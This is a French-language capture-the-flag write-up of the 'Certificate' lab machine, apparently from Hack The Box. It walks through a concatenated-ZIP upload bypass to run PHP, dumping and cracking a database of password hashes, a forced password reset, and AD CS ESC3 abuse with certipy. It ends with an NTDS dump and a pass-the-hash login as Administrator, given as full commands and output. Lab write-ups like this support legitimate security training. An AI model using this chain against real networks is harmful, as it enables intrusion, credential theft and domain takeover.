< BACK TO TERMINAL
Certificate icon

Certificate

Introduction

Aucune information de base n'est donnée.

Enumération

Nmap

Scan TCP

nmap -p- -sV 10.129.144.196
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-07 17:17:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
63540/tcp open  msrpc         Microsoft Windows RPC
63555/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Scan UDP

nmap -p- -sU 10.129.144.196
PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp
389/udp open  ldap

Ajout d'un serveur de résolution de noms

nano /etc/resolv.conf
nameserver 10.129.144.196
nameserver 1.1.1.1
nameserver 8.8.8.8

Foothold

Après avoir énuméré le site web, nous pouvons voir qu'il est possible d'uploader des fichiers aux formats pdf, docx, pptx, xlsx ou zip depuis la page upload.php (ex. http://certificate.htb/upload.php?s_id=42, une fois connecté et enrôlé dans un cours).

De plus, il est possible d'accéder aux fichiers après leur upload.

Foothold — diagram

Lors de l'upload d'un fichier .zip, celui-ci est décompressé sur le serveur. Par exemple, lors de l'upload de example.zip contenant fichier.pdf, fichier.pdf sera accessible à l'emplacement suivant : http://certificate.htb/static/uploads/6144021521507642c5a799e2bca164e3/fichier.pdf.

Foothold — diagram

Après des recherches, une technique d'évasion est peut-être présente. Elle permet de cacher un fichier dans un ZIP concaténé, interprété différemment selon l'outil de décompression, ce qui permet de contourner les mesures de sécurité mises en place (dans notre cas).

Pour en savoir plus, vous pouvez consulter cet article.

Création et livraison du payload

  1. Créer un fichier source PHP contenant un payload.
  2. Créer une archive zip contenant le fichier pdf valide.
  3. Créer une archive zip contenant le fichier source PHP.
  4. Concaténer les deux fichiers vers un fichier avec l'extension .zip.

(un fichier pdf d'exemple peut être téléchargé ici)

7z a pt1.zip ./first.pdf
7z a pt2.zip ./second.php
cat pt1.zip pt2.zip > combined.zip

L'opération a bien fonctionné puisque le fichier first.pdf n'a pas été trouvé lorsque l'on essaye d'accéder à sa page. Après avoir remplacé first.pdf par second.php, nous pouvons voir que le code PHP est bien présent et interprété !

Par exemple :

# Non trouvé
http://certificate.htb/static/uploads/6144021521507642c5a799e2bca164e3/first.pdf

# Trouvé et interprété
http://certificate.htb/static/uploads/6144021521507642c5a799e2bca164e3/second.php

Nous pouvons donc envoyer un reverse shell (attention : certains payloads Metasploit PHP peuvent ne pas fonctionner sur les environnements Windows, a fortiori avec un antivirus).

Ce reverse shell nous permet d'obtenir le code source de l'application, mais aussi l'identifiant et le mot de passe utilisés pour accéder à la base de données.

Obtention des identifiants

Nous pouvons ensuite créer le code PHP suivant en se basant sur le code source obtenu :

<?php
// Database connection using PDO
try {
    $dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
    $db_user = 'certificate_webapp_user'; // Change to your DB username
    $db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
    $options = [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ];
    $pdo = new PDO($dsn, $db_user, $db_passwd, $options);
    $stmt = $pdo->prepare('SELECT * FROM Users');
    $stmt->execute();
    $users = $stmt->fetchAll();
    foreach ($users as $userRow) {
        echo '<pre>';
        print_r($userRow);
        echo '</pre>';
    }
} catch (PDOException $e) {
    die('Database connection failed: ' . $e->getMessage());
}
?>

Une fois ce payload exécuté, la totalité de la table Users (contenant les hashes, mails et noms d'utilisateur) est affichée.

Obtention des identifiants — diagram

Nous pouvons regarder le code source de la page d'enregistrement pour voir que les hashes sont au format bcrypt $2*$, Blowfish (Unix) (-m 3200 sur Hashcat).

hashcat hashes.txt -m 3200 /usr/share/wordlists/rockyou.txt

Après avoir lancé une attaque par force brute sur ces hashes, nous obtenons le mot de passe de l'utilisateur sara.b.

Pour vérifier que l'utilisateur sara.b et le mot de passe obtenu sont valides, nous pouvons tenter d'établir une connexion RPC vers le serveur.

rpcclient -U CERTIFICATE.HTB/sara.b%Blink182 10.129.144.196

L'utilisateur est bien valide, nous pouvons donc effectuer une énumération avec Bloodhound pour avoir plus de détails sur le domaine.

Bloodhound

bloodhound-python -dc dc01.CERTIFICATE.HTB -u sara.b -p 'Blink182'  -ns 10.129.144.196 -d certificate.htb -c ALL

sara.b fait donc partie du groupe Account Operators et HELP DESK. Cet utilisateur dispose donc de nombreux droits.

Entre autres, sara.b peut modifier le mot de passe de n'importe quel utilisateur (sauf les utilisateurs protégés, type administrateurs).

User flag

Normalement, le flag est obtenu naturellement lors de l'énumération de chaque utilisateur. Ici, je vais montrer comment l'obtenir immédiatement.

Changer le mot de passe de l'utilisateur lion.sk.

net rpc password "lion.sk" "Toor2025!" -U "CERTIFICATE.HTB"/"sara.b"%"Blink182" -S 10.129.144.196 -ns 10.129.144.196 -d 1

Se connecter avec l'utilisateur lion.sk

evil-winrm -u lion.sk -p Toor2025! -i 10.129.144.196

Récupérer le flag

gc ..\Desktop\user.txt

Élévation de privilèges

Énumération

Cette machine offre de nombreuses fausses pistes. Je vais uniquement aborder la manière la plus simple dans ce compte rendu.

Le serveur héberge les services AD CS (services de certificats Active Directory). De plus, l'utilisateur lion.sk fait partie du groupe Domain CRA Managers. La description "The members of this security group are responsible for issuing and revoking multiple certificates for the domain users" indique que des permissions sur des templates sont très probablement allouées aux utilisateurs de ce groupe.

Nous allons donc effectuer une recherche et une analyse des différents templates.

certipy find -u 'lion.sk@certificate.htb' -p Toor2025! -dc-ip '10.129.144.196' -target 'DC01.CERTIFICATE.HTB' -vulnerable -stdout
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'Certificate-LTD-CA' via CSRA
[!] Got error while trying to get CA configuration for 'Certificate-LTD-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'Certificate-LTD-CA' via RRP
[*] Got CA configuration for 'Certificate-LTD-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : Certificate-LTD-CA
    DNS Name                            : DC01.certificate.htb
    Certificate Subject                 : CN=Certificate-LTD-CA, DC=certificate, DC=htb
    Certificate Serial Number           : 75B2F4BBF31F108945147B466131BDCA
    Certificate Validity Start          : 2024-11-03 22:55:09+00:00
    Certificate Validity End            : 2034-11-03 23:05:09+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFICATE.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFICATE.HTB\Administrators
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        ManageCa                        : CERTIFICATE.HTB\Administrators
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Enroll                          : CERTIFICATE.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : Delegated-CRA
    Display Name                        : Delegated-CRA
    Certificate Authorities             : Certificate-LTD-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectRequireEmail
                                          SubjectAltRequireEmail
                                          SubjectAltRequireUpn
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFICATE.HTB\Domain CRA Managers
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFICATE.HTB\Administrator
        Write Owner Principals          : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
                                          CERTIFICATE.HTB\Administrator
        Write Dacl Principals           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
                                          CERTIFICATE.HTB\Administrator
        Write Property Principals       : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
                                          CERTIFICATE.HTB\Administrator
    [!] Vulnerabilities
      ESC3                              : 'CERTIFICATE.HTB\\Domain CRA Managers' can enroll and template has Certificate Request Agent EKU set

Récupérer le flag root

L'utilisateur lion.sk peut donc enrôler des certificats avec la template "Delegated-CRA" et agir en tant qu'agent de demande de certificats (Certificate Request Agent), c’est-à-dire soumettre des demandes de certificats au nom d’autres utilisateurs.

Cependant, ce template ne peut pas être utilisé pour l'authentification client, c'est-à-dire que l'on ne peut pas demander de ticket TGT avec ce certificat.

La template Machine

Nous devons donc trouver une template active qui supporte l'authentification client et où l'utilisateur lion.sk peut enrôler un certificat.

Une template ayant ces prérequis est "Machine".

Template Name                       : Machine
Display Name                        : Computer
Certificate Authorities             : Certificate-LTD-CA
Enabled                             : True
Client Authentication               : True
Enrollment Agent                    : False
Any Purpose                         : False
Enrollee Supplies Subject           : False
Certificate Name Flag               : SubjectRequireDnsAsCn
                                      SubjectAltRequireDns
Enrollment Flag                     : AutoEnrollment
Private Key Flag                    : AttestNone
Extended Key Usage                  : Client Authentication
                                      Server Authentication
Requires Manager Approval           : False
Requires Key Archival               : False
Authorized Signatures Required      : 0
Validity Period                     : 1 year
Renewal Period                      : 6 weeks
Minimum RSA Key Length              : 2048
Permissions
  Enrollment Permissions
    Enrollment Rights               : CERTIFICATE.HTB\Domain Admins
                                      CERTIFICATE.HTB\Domain Computers
                                      CERTIFICATE.HTB\Enterprise Admins
  Object Control Permissions
    Owner                           : CERTIFICATE.HTB\Enterprise Admins
    Write Owner Principals          : CERTIFICATE.HTB\Domain Admins
                                      CERTIFICATE.HTB\Enterprise Admins
    Write Dacl Principals           : CERTIFICATE.HTB\Domain Admins
                                      CERTIFICATE.HTB\Enterprise Admins
    Write Property Principals       : CERTIFICATE.HTB\Domain Admins
                                      CERTIFICATE.HTB\Enterprise Admins

Effectivement, l'utilisateur sara.b peut ajouter lion.sk au groupe "Domain Computers" pour que celui-ci puisse enrôler des certificats avec cette template.

net rpc group addmem "Domain Computers" lion.sk -U certificate.htb/sara.b%'Blink182' -S 10.129.144.196

Cependant la template Machine ne peut pas être utilisée pour générer des certificats pour des utilisateurs. Effectivement le champ SubjectRequireDnsAsCn étant présent, il impose que le champ Common Name (CN) du certificat corresponde à un nom DNS valide (FQDN). Or, les identités utilisateur ne possèdent pas de nom DNS, mais plutôt un nom complet ou un UPN (User Principal Name).

Inscription du certificat

Nous allons donc générer un certificat permettant l'authentification du compte machine du serveur AD (AD01$).

certipy req -ca Certificate-LTD-CA -dc-ip 10.129.144.196 -u lion.sk@certificate.htb -p 'Toor2025!' -template 'Delegated-CRA' -target dc01.certificate.htb -ns 10.129.144.196
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 23
[*] Got certificate with UPN 'Lion.SK@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Saved certificate and private key to 'lion.sk.pfx'

À l'aide du certificat précédent, générer un certificat permettant l'authentification client avec le template Machine.

certipy req -u 'lion.sk@certificate.htb' -p 'Toor2025!' -dc-ip 10.129.144.196 -ca Certificate-LTD-CA -target 'dc01.certificate.htb' -template 'Machine' -on-behalf-of dc01$ -pfx lion.sk.pfx
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 24
[*] Got certificate with DNS Host Name 'DC01.certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1000'
[*] Saved certificate and private key to 'dc01.pfx'

Utilisation du certificat généré

Pour utiliser Kerberos, l'horloge de la machine attaquante doit être synchronisée avec celle du serveur AD. Sans cela, l'erreur KRB_AP_ERR_SKEW(Clock skew too great) peut apparaître.

apt install rdate && rdate -n dc01.certificate.htb

Récupérer un ticket TGT pour l'utilisateur machine dc01$ et récupérer le hash NTLM de celui-ci.

certipy auth -pfx dc01.pfx -dc-ip 10.129.144.196
[*] Using principal: dc01$@certificate.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@certificate.htb': aad3b435b51404eeaad3b435b51404ee:f36e0bc3c9a34c3acdb8b79df54f27cd

Récupérer le contenu de la base ntds.dit contenant le hash NTLM de tous les utilisateurs.

impacket-secretsdump 'certificate.htb/DC01$'@10.129.144.196 -hashes aad3b435b51404eeaad3b435b51404ee:f36e0bc3c9a34c3acdb8b79df54f27cd -dc-ip 10.129.144.196

Se connecter avec le hash NTLM de l'utilisateur Administrator

evil-winrm -u Administrator -H d804304519bf0143c14cbf1c024408c6 -i 10.129.144.196

Récupérer le flag

gc ../Desktop/root.txt
← Previous writeupNext writeup →